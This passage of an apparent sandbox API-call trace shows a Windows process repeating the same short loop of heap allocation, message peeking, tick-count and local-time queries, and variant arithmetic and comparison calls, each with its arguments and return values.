[0180.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.720] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.720] CoFreeUnusedLibraries () [0180.720] GetTickCount () returned 0x115dd74 [0180.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.720] GetTickCount () returned 0x115dd74 [0180.720] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.720] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.720] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.721] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.721] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.721] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.721] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.721] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.721] CoFreeUnusedLibraries () [0180.721] GetTickCount () returned 0x115dd74 [0180.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.721] GetTickCount () returned 0x115dd74 [0180.721] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.721] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.721] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.721] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.721] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.722] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.722] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.722] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.722] CoFreeUnusedLibraries () [0180.722] GetTickCount () returned 0x115dd74 [0180.722] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.722] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.722] GetTickCount () returned 0x115dd74 [0180.722] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.722] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.722] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.722] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.722] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.722] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.722] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.722] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.723] CoFreeUnusedLibraries () [0180.723] GetTickCount () returned 0x115dd74 [0180.723] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.723] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.723] GetTickCount () returned 0x115dd74 [0180.723] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.723] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.723] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.723] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.723] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.723] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.723] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.723] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.723] CoFreeUnusedLibraries () [0180.723] GetTickCount () returned 0x115dd74 [0180.723] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.724] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.724] GetTickCount () returned 0x115dd74 [0180.724] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.724] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.724] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.724] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.724] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.724] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.724] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.724] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.724] CoFreeUnusedLibraries () [0180.724] GetTickCount () returned 0x115dd74 [0180.724] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.724] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.724] GetTickCount () returned 0x115dd74 [0180.724] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.725] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.725] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.725] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.725] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.725] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.725] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.725] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.725] CoFreeUnusedLibraries () [0180.725] GetTickCount () returned 0x115dd74 [0180.725] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.725] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.725] GetTickCount () returned 0x115dd74 [0180.725] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.725] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.725] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.725] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.725] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.726] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.726] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.726] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.726] CoFreeUnusedLibraries () [0180.726] GetTickCount () returned 0x115dd74 [0180.726] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.726] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.726] GetTickCount () returned 0x115dd74 [0180.726] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.726] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.726] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.726] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.726] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.726] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.727] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.727] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.727] CoFreeUnusedLibraries () [0180.727] GetTickCount () returned 0x115dd74 [0180.727] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.727] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.727] GetTickCount () returned 0x115dd74 [0180.727] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.727] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.727] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.727] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.727] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.727] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.727] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.727] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.728] CoFreeUnusedLibraries () [0180.728] GetTickCount () returned 0x115dd74 [0180.728] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.728] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.728] GetTickCount () returned 0x115dd74 [0180.728] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.728] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.728] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.728] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.728] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.728] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.728] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.728] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.728] CoFreeUnusedLibraries () [0180.728] GetTickCount () returned 0x115dd74 [0180.728] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.728] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.728] GetTickCount () returned 0x115dd74 [0180.729] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.729] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.729] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.729] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.729] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.729] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.729] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.729] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.729] CoFreeUnusedLibraries () [0180.729] GetTickCount () returned 0x115dd74 [0180.729] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.729] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.729] GetTickCount () returned 0x115dd74 [0180.729] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.729] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.729] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.730] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.730] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.730] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.730] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.730] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.730] CoFreeUnusedLibraries () [0180.730] GetTickCount () returned 0x115dd74 [0180.730] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.730] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.730] GetTickCount () returned 0x115dd74 [0180.730] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.730] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.730] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.730] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.730] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.731] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.731] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.731] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.731] CoFreeUnusedLibraries () [0180.731] GetTickCount () returned 0x115dd74 [0180.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.731] GetTickCount () returned 0x115dd74 [0180.731] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.731] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.731] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.731] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.731] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.731] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.731] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.731] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.732] CoFreeUnusedLibraries () [0180.732] GetTickCount () returned 0x115dd74 [0180.732] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.732] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.732] GetTickCount () returned 0x115dd74 [0180.732] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.732] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.732] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.732] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.732] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.732] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.732] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.732] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.732] CoFreeUnusedLibraries () [0180.732] GetTickCount () returned 0x115dd74 [0180.732] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.732] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.733] GetTickCount () returned 0x115dd74 [0180.733] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.733] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.733] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.733] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.733] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.733] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.733] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.733] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.733] CoFreeUnusedLibraries () [0180.733] GetTickCount () returned 0x115dd74 [0180.733] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.733] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.733] GetTickCount () returned 0x115dd74 [0180.733] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.734] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.734] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.734] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.734] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.734] RtlAllocateHeap 